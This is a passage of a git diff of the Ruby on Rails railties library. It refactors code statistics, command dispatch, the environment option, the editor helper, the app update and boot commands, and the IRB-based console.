+    PATTERNS[:minitest] = PATTERNS[:rb].merge method: /^\s*(def|test)\s+['"_a-z]/
+    PATTERNS[:rake] = PATTERNS[:rb]
 
-  def initialize(lines = 0, code_lines = 0, classes = 0, methods = 0)
-    @lines = lines
-    @code_lines = code_lines
-    @classes = classes
-    @methods = methods
-  end
+    def initialize(lines = 0, code_lines = 0, classes = 0, methods = 0)
+      @lines = lines
+      @code_lines = code_lines
+      @classes = classes
+      @methods = methods
+    end
 
-  def add(code_statistics_calculator)
-    @lines += code_statistics_calculator.lines
-    @code_lines += code_statistics_calculator.code_lines
-    @classes += code_statistics_calculator.classes
-    @methods += code_statistics_calculator.methods
-  end
+    def add(code_statistics_calculator)
+      @lines += code_statistics_calculator.lines
+      @code_lines += code_statistics_calculator.code_lines
+      @classes += code_statistics_calculator.classes
+      @methods += code_statistics_calculator.methods
+    end
 
-  def add_by_file_path(file_path)
-    File.open(file_path) do |f|
-      add_by_io(f, file_type(file_path))
+    def add_by_file_path(file_path)
+      File.open(file_path) do |f|
+        add_by_io(f, file_type(file_path))
+      end
     end
-  end
 
-  def add_by_io(io, file_type)
-    patterns = PATTERNS[file_type] || {}
+    def add_by_io(io, file_type)
+      patterns = PATTERNS[file_type] || {}
 
-    comment_started = false
+      comment_started = false
 
-    while line = io.gets
-      @lines += 1
+      while line = io.gets
+        @lines += 1
 
-      if comment_started
-        if patterns[:end_block_comment] && line =~ patterns[:end_block_comment]
-          comment_started = false
-        end
-        next
-      else
-        if patterns[:begin_block_comment] && line =~ patterns[:begin_block_comment]
-          comment_started = true
+        if comment_started
+          if patterns[:end_block_comment] && patterns[:end_block_comment].match?(line)
+            comment_started = false
+          end
           next
+        else
+          if patterns[:begin_block_comment] && patterns[:begin_block_comment].match?(line)
+            comment_started = true
+            next
+          end
         end
-      end
 
-      @classes   += 1 if patterns[:class] && line =~ patterns[:class]
-      @methods   += 1 if patterns[:method] && line =~ patterns[:method]
-      if line !~ /^\s*$/ && (patterns[:line_comment].nil? || line !~ patterns[:line_comment])
-        @code_lines += 1
+        @classes   += 1 if patterns[:class] && patterns[:class].match?(line)
+        @methods   += 1 if patterns[:method] && patterns[:method].match?(line)
+        if !line.match?(/^\s*$/) && (patterns[:line_comment].nil? || !line.match?(patterns[:line_comment]))
+          @code_lines += 1
+        end
       end
     end
-  end
 
-  private
-    def file_type(file_path)
-      if file_path.end_with? "_test.rb"
-        :minitest
-      else
-        File.extname(file_path).sub(/\A\./, "").downcase.to_sym
+    private
+      def file_type(file_path)
+        if file_path.end_with? "_test.rb"
+          :minitest
+        else
+          File.extname(file_path).delete_prefix(".").downcase.to_sym
+        end
       end
-    end
+  end
 end
diff --git a/railties/lib/rails/command.rb b/railties/lib/rails/command.rb
index 13f3b90b6d317..2df41a2a46a2b 100644
--- a/railties/lib/rails/command.rb
+++ b/railties/lib/rails/command.rb
@@ -1,8 +1,9 @@
+# frozen_string_literal: true
+
 require "active_support"
-require "active_support/dependencies/autoload"
+require "active_support/rails"
 require "active_support/core_ext/enumerable"
-require "active_support/core_ext/object/blank"
-require "active_support/core_ext/hash/transform_values"
+require "rails/deprecator"
 
 require "thor"
 
@@ -13,9 +14,34 @@ module Command
     autoload :Behavior
     autoload :Base
 
+    class CorrectableNameError < StandardError # :nodoc:
+      attr_reader :name
+
+      def initialize(message, name, alternatives)
+        @name = name
+        @alternatives = alternatives
+        super(message)
+      end
+
+      if defined?(DidYouMean::Correctable) && defined?(DidYouMean::SpellChecker)
+        include DidYouMean::Correctable
+
+        def corrections
+          @corrections ||= DidYouMean::SpellChecker.new(dictionary: @alternatives).correct(name)
+        end
+      end
+    end
+
+    class UnrecognizedCommandError < CorrectableNameError # :nodoc:
+      def initialize(name)
+        super("Unrecognized command #{name.inspect}", name, Command.printing_commands.map(&:first))
+      end
+    end
+
     include Behavior
 
-    HELP_MAPPINGS = %w(-h -? --help)
+    HELP_MAPPINGS = %w(-h -? --help).to_set
+    VERSION_MAPPINGS = %w(-v --version).to_set
 
     class << self
       def hidden_commands # :nodoc:
@@ -23,20 +49,31 @@ def hidden_commands # :nodoc:
       end
 
       def environment # :nodoc:
-        ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development"
+        ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence || "development"
       end
 
-      # Receives a namespace, arguments and the behavior to invoke the command.
-      def invoke(namespace, args = [], **config)
-        namespace = namespace.to_s
-        namespace = "help" if namespace.blank? || HELP_MAPPINGS.include?(namespace)
-        namespace = "version" if %w( -v --version ).include? namespace
+      # Receives a namespace, arguments, and the behavior to invoke the command.
+      def invoke(full_namespace, args = [], **config)
+        args = ["--help"] if rails_new_with_no_path?(args)
 
-        if command = find_by_namespace(namespace)
-          command.perform(namespace, args, config)
+        full_namespace = full_namespace.to_s
+        namespace, command_name = split_namespace(full_namespace)
+        command = find_by_namespace(namespace, command_name)
+
+        with_argv(args) do
+          if command && command.all_commands[command_name]
+            command.perform(command_name, args, config)
+          else
+            invoke_rake(full_namespace, args, config)
+          end
+        end
+      rescue UnrecognizedCommandError => error
+        if error.name == full_namespace && command && command_name == full_namespace
+          command.perform("help", [], config)
         else
-          find_by_namespace("rake").perform(namespace, args, config)
+          puts error.detailed_message
         end
+        exit(1)
       end
 
       # Rails finds namespaces similar to Thor, it only adds one rule:
@@ -44,16 +81,16 @@ def invoke(namespace, args = [], **config)
       # Command names must end with "_command.rb". This is required because Rails
       # looks in load paths and loads the command just before it's going to be used.
       #
-      #   find_by_namespace :webrat, :rails, :integration
+      #   find_by_namespace :webrat, :integration
       #
       # Will search for the following commands:
       #
-      #   "rails:webrat", "webrat:integration", "webrat"
+      #   "webrat", "webrat:integration", "rails:webrat", "rails:webrat:integration"
       #
-      # Notice that "rails:commands:webrat" could be loaded as well, what
-      # Rails looks for is the first and last parts of the namespace.
-      def find_by_namespace(name) # :nodoc:
-        lookups = [ name, "rails:#{name}" ]
+      def find_by_namespace(namespace, command_name = nil) # :nodoc:
+        lookups = [ namespace ]
+        lookups << "#{namespace}:#{command_name}" if command_name
+        lookups.concat lookups.map { |lookup| "rails:#{lookup}" }
 
         lookup(lookups)
 
@@ -61,30 +98,58 @@ def find_by_namespace(name) # :nodoc:
         namespaces[(lookups & namespaces.keys).first]
       end
 
-      # Returns the root of the Rails engine or app running the command.
+      # Returns the root of the \Rails engine or app running the command.
       def root
         if defined?(ENGINE_ROOT)
           Pathname.new(ENGINE_ROOT)
-        elsif defined?(APP_PATH)
-          Pathname.new(File.expand_path("../..", APP_PATH))
+        else
+          application_root
         end
       end
 
-      def print_commands # :nodoc:
-        sorted_groups.each { |b, n| print_list(b, n) }
+      def application_root # :nodoc:
+        Pathname.new(File.expand_path("../..", APP_PATH)) if defined?(APP_PATH)
       end
 
-      def sorted_groups # :nodoc:
+      def printing_commands # :nodoc:
         lookup!
 
-        groups = (subclasses - hidden_commands).group_by { |c| c.namespace.split(":").first }
-        groups.transform_values! { |commands| commands.flat_map(&:printing_commands).sort }
-
-        rails = groups.delete("rails")
-        [[ "rails", rails ]] + groups.sort.to_a
+        (subclasses - hidden_commands).flat_map(&:printing_commands)
       end
 
       private
+        def rails_new_with_no_path?(args)
+          args == ["new"]
+        end
+
+        def split_namespace(namespace)
+          case namespace
+          when /^(.+):(\w+)$/
+            [$1, $2]
+          when ""
+            ["help", "help"]
+          when HELP_MAPPINGS, "help"
+            ["help", "help_extended"]
+          when VERSION_MAPPINGS
+            ["version", "version"]
+          else
+            [namespace, namespace]
+          end
+        end
+
+        def with_argv(argv)
+          original_argv = ARGV.dup
+          ARGV.replace(argv)
+          yield
+        ensure
+          ARGV.replace(original_argv)
+        end
+
+        def invoke_rake(task, args, config)
+          args = ["--describe", task] if HELP_MAPPINGS.include?(args[0])
+          find_by_namespace("rake").perform(task, args, config)
+        end
+
         def command_type # :doc:
           @command_type ||= "command"
         end
diff --git a/railties/lib/rails/command/actions.rb b/railties/lib/rails/command/actions.rb
index 8fda1c87c618a..105a4bc4f5a66 100644
--- a/railties/lib/rails/command/actions.rb
+++ b/railties/lib/rails/command/actions.rb
@@ -1,20 +1,30 @@
+# frozen_string_literal: true
+
 module Rails
   module Command
     module Actions
-      # Change to the application's path if there is no config.ru file in current directory.
-      # This allows us to run `rails server` from other directories, but still get
-      # the main config.ru and properly set the tmp directory.
+      # Change to the application's path if there is no <tt>config.ru</tt> file in current directory.
+      # This allows us to run <tt>rails server</tt> from other directories, but still get
+      # the main <tt>config.ru</tt> and properly set the <tt>tmp</tt> directory.
       def set_application_directory!
-        Dir.chdir(File.expand_path("../../", APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+        Dir.chdir(File.expand_path("../..", APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
       end
 
-      def require_application_and_environment!
+      def require_application!
         require ENGINE_PATH if defined?(ENGINE_PATH)
+        require APP_PATH if defined?(APP_PATH)
+      end
 
-        if defined?(APP_PATH)
-          require APP_PATH
-          Rails.application.require_environment!
-        end
+      def boot_application!
+        require_application!
+        Rails.application.require_environment! if defined?(APP_PATH)
+      end
+
+      def load_environment_config!
+        require_application!
+        # Only run initializers that are in the :all group, which includes the
+        # :load_environment_config initializer.
+        Rails.application.initialize!(:_) if defined?(APP_PATH)
       end
 
       if defined?(ENGINE_PATH)
diff --git a/railties/lib/rails/command/base.rb b/railties/lib/rails/command/base.rb
index 14357925360a3..e4a2cc2548048 100644
--- a/railties/lib/rails/command/base.rb
+++ b/railties/lib/rails/command/base.rb
@@ -1,7 +1,8 @@
+# frozen_string_literal: true
+
 require "thor"
 require "erb"
 
-require "active_support/core_ext/string/filters"
 require "active_support/core_ext/string/inflections"
 
 require "rails/command/actions"
@@ -14,8 +15,14 @@ class Error < Thor::Error # :nodoc:
 
       include Actions
 
+      class_attribute :bin, instance_accessor: false, default: "bin/rails"
+
       class << self
-        # Returns true when the app is a Rails engine.
+        def exit_on_failure? # :nodoc:
+          false
+        end
+
+        # Returns true when the app is a \Rails engine.
         def engine?
           defined?(ENGINE_ROOT)
         end
@@ -26,7 +33,7 @@ def desc(usage = nil, description = nil, options = {})
           if usage
             super
           else
-            @desc ||= ERB.new(File.read(usage_path)).result(binding) if usage_path
+            class_usage
           end
         end
 
@@ -47,41 +54,56 @@ def hide_command!
           Rails::Command.hidden_commands << self
         end
 
-        def inherited(base) #:nodoc:
+        def inherited(base) # :nodoc:
           super
 
-          if base.name && base.name !~ /Base$/
+          if base.name && !base.name.end_with?("Base")
             Rails::Command.subclasses << base
           end
         end
 
         def perform(command, args, config) # :nodoc:
-          command = nil if Rails::Command::HELP_MAPPINGS.include?(args.first)
+          if Rails::Command::HELP_MAPPINGS.include?(args.first)
+            command, args = "help", [command]
+            args.clear if instance_method(:help).arity.zero?
+          end
 
           dispatch(command, args.dup, nil, config)
         end
 
         def printing_commands
-          namespace.sub(/^rails:/, "")
+          commands.filter_map do |name, command|
+            [namespaced_name(name), command.description] unless command.hidden?
+          end
         end
 
-        def executable
-          "bin/rails #{command_name}"
+        def executable(command_name = self.command_name)
+          "#{bin} #{namespaced_name(command_name)}"
         end
 
-        # Use Rails' default banner.
-        def banner(*)
-          "#{executable} #{arguments.map(&:usage).join(' ')} [options]".squish!
+        def banner(command = nil, *)
+          if command
+            # Similar to Thor's banner, but show the namespace (minus the
+            # "rails:" prefix), and show the command's declared bin instead of
+            # the command runner.
+            command.formatted_usage(self).gsub(/^#{namespace}:(\w+)/) { executable($1) }
+          else
+            executable
+          end
+        end
+
+        # Override Thor's class-level help to also show the USAGE.
+        def help(shell, *) # :nodoc:
+          super
+          shell.say class_usage if class_usage
         end
 
         # Sets the base_name taking into account the current class namespace.
         #
         #   Rails::Command::TestCommand.base_name # => 'rails'
         def base_name
-          @base_name ||= begin
-            if base = name.to_s.split("::").first
-              base.underscore
-            end
+          @base_name ||= if base = name.to_s.split("::").first
+            base.underscore
           end
         end
 
@@ -89,30 +111,32 @@ def base_name
         #
         #   Rails::Command::TestCommand.command_name # => 'test'
         def command_name
-          @command_name ||= begin
-            if command = name.to_s.split("::").last
-              command.chomp!("Command")
-              command.underscore
-            end
+          @command_name ||= if command = name.to_s.split("::").last
+            command.chomp!("Command")
+            command.underscore
+          end
+        end
+
+        def class_usage # :nodoc:
+          if usage_path
+            @class_usage ||= ERB.new(File.read(usage_path), trim_mode: "-").result(binding)
           end
         end
 
         # Path to lookup a USAGE description in a file.
         def usage_path
-          if default_command_root
-            path = File.join(default_command_root, "USAGE")
-            path if File.exist?(path)
-          end
+          @usage_path = resolve_path("USAGE") unless defined?(@usage_path)
+          @usage_path
         end
 
         # Default file root to place extra files a command might need, placed
         # one folder above the command file.
         #
-        # For a `Rails::Command::TestCommand` placed in `rails/command/test_command.rb`
-        # would return `rails/test`.
+        # For a Rails::Command::TestCommand placed in <tt>rails/command/test_command.rb</tt>
+        # would return <tt>rails/test</tt>.
         def default_command_root
-          path = File.expand_path(File.join("../commands", command_name), __dir__)
-          path if File.exist?(path)
+          @default_command_root = resolve_path(".") unless defined?(@default_command_root)
+          @default_command_root
         end
 
         private
@@ -123,19 +147,35 @@ def create_command(meth)
             else
               # Prevent exception about command without usage.
               # Some commands define their documentation differently.
-              @usage ||= ""
+              @usage ||= meth
               @desc  ||= ""
 
               super
             end
           end
+
+          def namespaced_name(name)
+            *prefix, basename = namespace.delete_prefix("rails:").split(":")
+            prefix.concat([basename, name.to_s].uniq).join(":")
+          end
+
+          def resolve_path(path)
+            path = File.join("../commands", *namespace.delete_prefix("rails:").split(":"), path)
+            path = File.expand_path(path, __dir__)
+            path if File.exist?(path)
+          end
       end
 
-      def help
-        if command_name = self.class.command_name
-          self.class.command_help(shell, command_name)
-        else
+      no_commands do
+        delegate :executable, to: :class
+        attr_reader :current_subcommand
+
+        def invoke_command(command, *) # :nodoc:
+          @current_subcommand ||= nil
+          original_subcommand, @current_subcommand = @current_subcommand, command.name
           super
+        ensure
+          @current_subcommand = original_subcommand
         end
       end
     end
diff --git a/railties/lib/rails/command/behavior.rb b/railties/lib/rails/command/behavior.rb
index 4a92f72f165ee..4c9c7ad3d92b8 100644
--- a/railties/lib/rails/command/behavior.rb
+++ b/railties/lib/rails/command/behavior.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "active_support"
 
 module Rails
   module Command
-    module Behavior #:nodoc:
+    module Behavior # :nodoc:
       extend ActiveSupport::Concern
 
       class_methods do
@@ -17,46 +19,6 @@ def subclasses
         end
 
         private
-
-          # This code is based directly on the Text gem implementation.
-          # Copyright (c) 2006-2013 Paul Battley, Michael Neumann, Tim Fletcher.
-          #
-          # Returns a value representing the "cost" of transforming str1 into str2.
-          def levenshtein_distance(str1, str2) # :doc:
-            s = str1
-            t = str2
-            n = s.length
-            m = t.length
-
-            return m if (0 == n)
-            return n if (0 == m)
-
-            d = (0..m).to_a
-            x = nil
-
-            # avoid duplicating an enumerable object in the loop
-            str2_codepoint_enumerable = str2.each_codepoint
-
-            str1.each_codepoint.with_index do |char1, i|
-              e = i + 1
-
-              str2_codepoint_enumerable.with_index do |char2, j|
-                cost = (char1 == char2) ? 0 : 1
-                x = [
-                     d[j + 1] + 1, # insertion
-                     e + 1,      # deletion
-                     d[j] + cost # substitution
-                    ].min
-                d[j] = e
-                e = x
-              end
-
-              d[m] = x
-            end
-
-            x
-          end
-
           # Prints a list of generators.
           def print_list(base, namespaces)
             return if namespaces.empty?
@@ -82,7 +44,7 @@ def lookup(namespaces)
                   require path
                   return
                 rescue LoadError => e
-                  raise unless e.message =~ /#{Regexp.escape(path)}$/
+                  raise unless /#{Regexp.escape(path)}$/.match?(e.message)
                 rescue Exception => e
                   warn "[WARNING] Could not load #{command_type} #{path.inspect}. Error: #{e.message}.\n#{e.backtrace.join("\n")}"
                 end
@@ -94,12 +56,10 @@ def lookup(namespaces)
           def lookup!
             $LOAD_PATH.each do |base|
               Dir[File.join(base, *file_lookup_paths)].each do |path|
-                begin
-                  path = path.sub("#{base}/", "")
-                  require path
-                rescue Exception
-                  # No problem
-                end
+                path = path.delete_prefix("#{base}/")
+                require path
+              rescue Exception
+                # No problem
               end
             end
           end
@@ -111,8 +71,9 @@ def namespaces_to_paths(namespaces)
             paths = []
             namespaces.each do |namespace|
               pieces = namespace.split(":")
-              paths << pieces.dup.push(pieces.last).join("/")
-              paths << pieces.join("/")
+              path = pieces.join("/")
+              paths << "#{path}/#{pieces.last}"
+              paths << path
             end
             paths.uniq!
             paths
diff --git a/railties/lib/rails/command/environment_argument.rb b/railties/lib/rails/command/environment_argument.rb
index 05eac3415532a..f9d091d04603f 100644
--- a/railties/lib/rails/command/environment_argument.rb
+++ b/railties/lib/rails/command/environment_argument.rb
@@ -1,33 +1,54 @@
+# frozen_string_literal: true
+
 require "active_support"
 
 module Rails
   module Command
-    module EnvironmentArgument #:nodoc:
+    module EnvironmentArgument # :nodoc:
       extend ActiveSupport::Concern
 
       included do
-        argument :environment, optional: true, banner: "environment"
+        class_option :environment, aliases: "-e", type: :string,
+          desc: "The environment to run `#{self.command_name}` in (e.g. test / development / production)."
+      end
+
+      def initialize(...)
+        super
+
+        @environment_specified = options[:environment].present?
+
+        if !@environment_specified
+          self.options = options.merge(environment: Rails::Command.environment)
+        elsif !available_environments.include?(options[:environment])
+          self.options = options.merge(environment: expand_environment_name(options[:environment]))
+        end
       end
 
       private
-        def extract_environment_option_from_argument
-          if environment
-            self.options = options.merge(environment: acceptable_environment(environment))
-          elsif !options[:environment]
-            self.options = options.merge(environment: Rails::Command.environment)
-          end
+        def require_application!
+          ENV["RAILS_ENV"] = environment
+          super
         end
 
-        def acceptable_environment(env = nil)
-          if available_environments.include? env
-            env
-          else
-            %w( production development test ).detect { |e| e =~ /^#{env}/ } || env
-          end
+        def environment
+          @environment ||= options[:environment]
+        end
+
+        def environment=(environment)
+          @environment = environment
+        end
+
+        def environment_specified?
+          @environment_specified
         end
 
         def available_environments
-          Dir["config/environments/*.rb"].map { |fname| File.basename(fname, ".*") }
+          @available_environments ||=
+            Dir["config/environments/*.rb"].map { |filename| File.basename(filename, ".*") }
+        end
+
+        def expand_environment_name(name)
+          %w[production development test].find { |full_name| full_name.start_with?(name) } || name
         end
     end
   end
diff --git a/railties/lib/rails/command/helpers/editor.rb b/railties/lib/rails/command/helpers/editor.rb
new file mode 100644
index 0000000000000..c0ea20a8be0f7
--- /dev/null
+++ b/railties/lib/rails/command/helpers/editor.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "shellwords"
+require "active_support/encrypted_file"
+
+module Rails
+  module Command
+    module Helpers
+      module Editor
+        private
+          def editor
+            ENV["VISUAL"].to_s.empty? ? ENV["EDITOR"] : ENV["VISUAL"]
+          end
+
+          def display_hint_if_system_editor_not_specified
+            if editor.to_s.empty?
+              say "No $VISUAL or $EDITOR to open file in. Assign one like this:"
+              say ""
+              say %(VISUAL="code --wait" #{executable(current_subcommand)})
+              say ""
+              say "For editors that fork and exit immediately, it's important to pass a wait flag;"
+              say "otherwise, the file will be saved immediately with no chance to edit."
+
+              true
+            end
+          end
+
+          def system_editor(file_path)
+            system(*Shellwords.split(editor), file_path.to_s)
+          end
+
+          def using_system_editor
+            display_hint_if_system_editor_not_specified || yield
+          rescue Interrupt
+            say "Aborted changing file: nothing saved."
+          end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb
index fff0119c65665..77961a0292e59 100644
--- a/railties/lib/rails/commands.rb
+++ b/railties/lib/rails/commands.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/command"
 
 aliases = {
diff --git a/railties/lib/rails/commands/about/about_command.rb b/railties/lib/rails/commands/about/about_command.rb
new file mode 100644
index 0000000000000..8b888262263d6
--- /dev/null
+++ b/railties/lib/rails/commands/about/about_command.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Rails
+  module Command
+    class AboutCommand < Base # :nodoc:
+      desc "about", "List versions of all Rails frameworks and the environment"
+      def perform
+        boot_application!
+
+        say Rails::Info
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/app/update_command.rb b/railties/lib/rails/commands/app/update_command.rb
new file mode 100644
index 0000000000000..792e8e9078b88
--- /dev/null
+++ b/railties/lib/rails/commands/app/update_command.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require "rails/generators"
+require "rails/generators/rails/app/app_generator"
+
+module Rails
+  module Command
+    module App
+      class UpdateCommand < Base # :nodoc:
+        include Thor::Actions
+        add_runtime_options!
+
+        desc "update", "Update configs and some other initially generated files (or use just update:configs or update:bin)"
+        def perform
+          require_application!
+          Rails.application.deprecators.silenced = true
+
+          configs
+          bin
+          public_directory
+          active_storage
+          display_upgrade_guide_info
+        end
+
+        desc "configs", "Update config files in the application config/ directory", hide: true
+        def configs
+          require_application!
+          app_generator.create_boot_file
+          app_generator.update_config_files
+        end
+
+        desc "bin", "Add or update executables in the application bin/ directory", hide: true
+        def bin
+          require_application!
+          app_generator.update_bin_files
+        end
+
+        desc "public_directory", "Add or update files in the application public/ directory", hide: true
+        def public_directory
+          require_application!
+          app_generator.create_public_files
+        end
+
+        desc "active_storage", "Run the active_storage:update command", hide: true
+        def active_storage
+          require_application!
+          app_generator.update_active_storage
+        end
+
+        private
+          def display_upgrade_guide_info
+            say "\nAfter this, check Rails upgrade guide at https://guides.rubyonrails.org/upgrading_ruby_on_rails.html for more details about upgrading your app."
+          end
+
+          def app_generator
+            @app_generator ||= begin
+              gen = Rails::Generators::AppGenerator.new(["rails"], generator_options, destination_root: Rails.root)
+              gen.send(:valid_const?) unless File.exist?(Rails.root.join("config", "application.rb"))
+              gen
+            end
+          end
+
+          def generator_options
+            {
+              api:                 !!Rails.application.config.api_only,
+              update:              true,
+              name:                Rails.application.class.name.chomp("::Application").underscore,
+              skip_active_job:     !defined?(ActiveJob::Railtie),
+              skip_active_record:  !defined?(ActiveRecord::Railtie),
+              skip_active_storage: !defined?(ActiveStorage::Engine),
+              skip_action_mailer:  !defined?(ActionMailer::Railtie),
+              skip_action_mailbox: !defined?(ActionMailbox::Engine),
+              skip_action_text:    !defined?(ActionText::Engine),
+              skip_action_cable:   !defined?(ActionCable::Engine),
+              skip_brakeman:       skip_gem?("brakeman"),
+              skip_bundler_audit:  skip_gem?("bundler-audit"),
+              skip_rubocop:        skip_gem?("rubocop"),
+              skip_thruster:       skip_gem?("thruster"),
+              skip_test:           !defined?(Rails::TestUnitRailtie),
+              skip_system_test:    Rails.application.config.generators.system_tests.nil?,
+              skip_asset_pipeline: asset_pipeline.nil?,
+              skip_bootsnap:       !defined?(Bootsnap),
+            }.merge(options)
+          end
+
+          def asset_pipeline
+            "propshaft" if defined?(Propshaft::Railtie)
+          end
+
+          def skip_gem?(gem_name)
+            gem gem_name
+            false
+          rescue LoadError
+            true
+          end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/application/application_command.rb b/railties/lib/rails/commands/application/application_command.rb
index 7675d3b3d1e23..98fc918796a14 100644
--- a/railties/lib/rails/commands/application/application_command.rb
+++ b/railties/lib/rails/commands/application/application_command.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "rails/generators"
 require "rails/generators/rails/app/app_generator"
 
@@ -16,6 +18,8 @@ module Command
     class ApplicationCommand < Base # :nodoc:
       hide_command!
 
+      self.bin = "rails"
+
       def help
         perform # Punt help output to the generator.
       end
diff --git a/railties/lib/rails/commands/boot/boot_command.rb b/railties/lib/rails/commands/boot/boot_command.rb
new file mode 100644
index 0000000000000..b75cca25d0ae2
--- /dev/null
+++ b/railties/lib/rails/commands/boot/boot_command.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "rails/command/environment_argument"
+
+module Rails
+  module Command
+    class BootCommand < Base # :nodoc:
+      include EnvironmentArgument
+
+      desc "boot", "Boot the application and exit"
+      def perform(*) = boot_application!
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/console/console_command.rb b/railties/lib/rails/commands/console/console_command.rb
index 62e3aa19dfe6a..d0ccdfc7eb83d 100644
--- a/railties/lib/rails/commands/console/console_command.rb
+++ b/railties/lib/rails/commands/console/console_command.rb
@@ -1,18 +1,9 @@
-require "irb"
-require "irb/completion"
+# frozen_string_literal: true
 
 require "rails/command/environment_argument"
 
 module Rails
   class Console
-    module BacktraceCleaner
-      def filter_backtrace(bt)
-        if result = super
-          Rails.backtrace_cleaner.filter([result]).first
-        end
-      end
-    end
-
     def self.start(*args)
       new(*args).start
     end
@@ -24,17 +15,26 @@ def initialize(app, options = {})
       @options = options
 
       app.sandbox = sandbox?
-      app.load_console
 
-      @console = app.config.console || IRB
+      if sandbox? && app.config.disable_sandbox
+        puts "Error: Unable to start console in sandbox mode as sandbox mode is disabled (config.disable_sandbox is true)."
+        exit 1
+      end
+
+      app.load_console
 
-      if @console == IRB
-        IRB::WorkSpace.prepend(BacktraceCleaner)
+      @console = app.config.console || begin
+        require "rails/commands/console/irb_console"
+        IRBConsole.new(app)
       end
     end
 
     def sandbox?
-      options[:sandbox]
+      return options[:sandbox] if !options[:sandbox].nil?
+
+      return false if Rails.env.local?
+
+      app.config.sandbox_by_default
     end
 
     def environment
@@ -55,10 +55,8 @@ def start
       else
         puts "Loading #{Rails.env} environment (Rails #{Rails.version})"
       end
+      puts "Type 'help' for help."
 
-      if defined?(console::ExtendCommandBundle)
-        console::ExtendCommandBundle.include(Rails::ConsoleMethods)
-      end
       console.start
     end
   end
@@ -67,23 +65,43 @@ module Command
     class ConsoleCommand < Base # :nodoc:
       include EnvironmentArgument
 
-      class_option :sandbox, aliases: "-s", type: :boolean, default: false,
+      class_option :sandbox, aliases: "-s", type: :boolean, default: nil,
         desc: "Rollback database modifications on exit."
 
-      class_option :environment, aliases: "-e", type: :string,
-        desc: "Specifies the environment to run this console under (test/development/production)."
+      class_option :skip_executor, type: :boolean, aliases: "-w", desc: "Don't wrap with Rails Executor", default: false
 
-      def perform
-        extract_environment_option_from_argument
+      def initialize(args = [], local_options = {}, config = {})
+        console_options = []
 
-        # RAILS_ENV needs to be set before config/application is required.
-        ENV["RAILS_ENV"] = options[:environment]
+        # For the same behavior as OptionParser, leave only options after "--" in ARGV.
+        termination = local_options.find_index("--")
+        if termination
+          console_options = local_options[termination + 1..-1]
+          local_options = local_options[0...termination]
+        end
 
-        ARGV.clear # Clear ARGV so IRB doesn't freak.
+        ARGV.replace(console_options)
+        super(args, local_options, config)
+      end
 
-        require_application_and_environment!
-        Rails::Console.start(Rails.application, options)
+      desc "console", "Start the Rails console"
+      def perform
+        boot_application!
+
+        wrap_with_executor = !options[:skip_executor]
+        conditional_executor(wrap_with_executor, source: "application.console.railties") do
+          Rails::Console.start(Rails.application, options)
+        end
       end
+
+      private
+        def conditional_executor(enabled, **args, &block)
+          if enabled
+            Rails.application.executor.wrap(**args, &block)
+          else
+            yield
+          end
+        end
     end
   end
 end
diff --git a/railties/lib/rails/commands/console/irb_console.rb b/railties/lib/rails/commands/console/irb_console.rb
new file mode 100644
index 0000000000000..dcebf096de2ad
--- /dev/null
+++ b/railties/lib/rails/commands/console/irb_console.rb
@@ -0,0 +1,130 @@
+# frozen_string_literal: true
+
+require "irb/helper_method"
+require "irb/command"
+
+module Rails
+  class Console
+    class RailsHelperBase < IRB::HelperMethod::Base
+    end
+
+    class ControllerHelper < RailsHelperBase
+      description "Gets helper methods available to ApplicationController."
+
+      # This method assumes an +ApplicationController+ exists, and that it extends ActionController::Base.
+      def execute
+        ApplicationController.helpers
+      end
+    end
+
+    class ControllerInstance < RailsHelperBase
+      description "Gets a new instance of ApplicationController."
+
+      # This method assumes an +ApplicationController+ exists, and that it extends ActionController::Base.
+      def execute
+        @controller ||= ApplicationController.new
+      end
+    end
+
+    class NewSession < RailsHelperBase
+      description "[Deprecated] Please use `app(true)` instead."
+
+      def execute(*)
+        app = Rails.application
+        app.reload_routes_unless_loaded
+        session = ActionDispatch::Integration::Session.new(app)
+
+        # This makes app.url_for and app.foo_path available in the console
+        session.extend(app.routes.url_helpers)
+        session.extend(app.routes.mounted_helpers)
+
+        session
+      end
+    end
+
+    class AppInstance < NewSession
+      description "Creates a new ActionDispatch::Integration::Session and memoizes it. Use `app(true)` to create a new instance."
+
+      def execute(create = false)
+        @app_integration_instance = nil if create
+        @app_integration_instance ||= super
+      end
+    end
+
+    class ReloadHelper < RailsHelperBase
+      description "Reloads the Rails application."
+
+      def execute
+        puts "Reloading..."
+        Rails.application.reloader.reload!
+      end
+    end
+
+    IRB::HelperMethod.register(:helper, ControllerHelper)
+    IRB::HelperMethod.register(:controller, ControllerInstance)
+    IRB::HelperMethod.register(:new_session, NewSession)
+    IRB::HelperMethod.register(:app, AppInstance)
+    IRB::HelperMethod.register(:reload!, ReloadHelper)
+
+    class IRBConsole
+      def initialize(app)
+        @app = app
+
+        require "irb"
+        require "irb/completion"
+      end
+
+      def name
+        "IRB"
+      end
+
+      def start
+        IRB.setup(nil)
+
+        if !Rails.env.local? && !ENV.key?("IRB_USE_AUTOCOMPLETE")
+          IRB.conf[:USE_AUTOCOMPLETE] = false
+        end
+
+        env = colorized_env
+        prompt_prefix = "%N(#{env})"
+        # Respect user's configured irb name.
+        IRB.conf[:IRB_NAME] = @app.name if IRB.conf[:IRB_NAME] == "irb"
+
+        IRB.conf[:PROMPT][:RAILS_PROMPT] = {
+          PROMPT_I: "#{prompt_prefix}:%03n> ",
+          PROMPT_S: "#{prompt_prefix}:%03n%l ",
+          PROMPT_C: "#{prompt_prefix}:%03n* ",
+          RETURN: "=> %s\n"
+        }
+
+        if current_filter = IRB.conf[:BACKTRACE_FILTER]
+          IRB.conf[:BACKTRACE_FILTER] = -> (backtrace) do
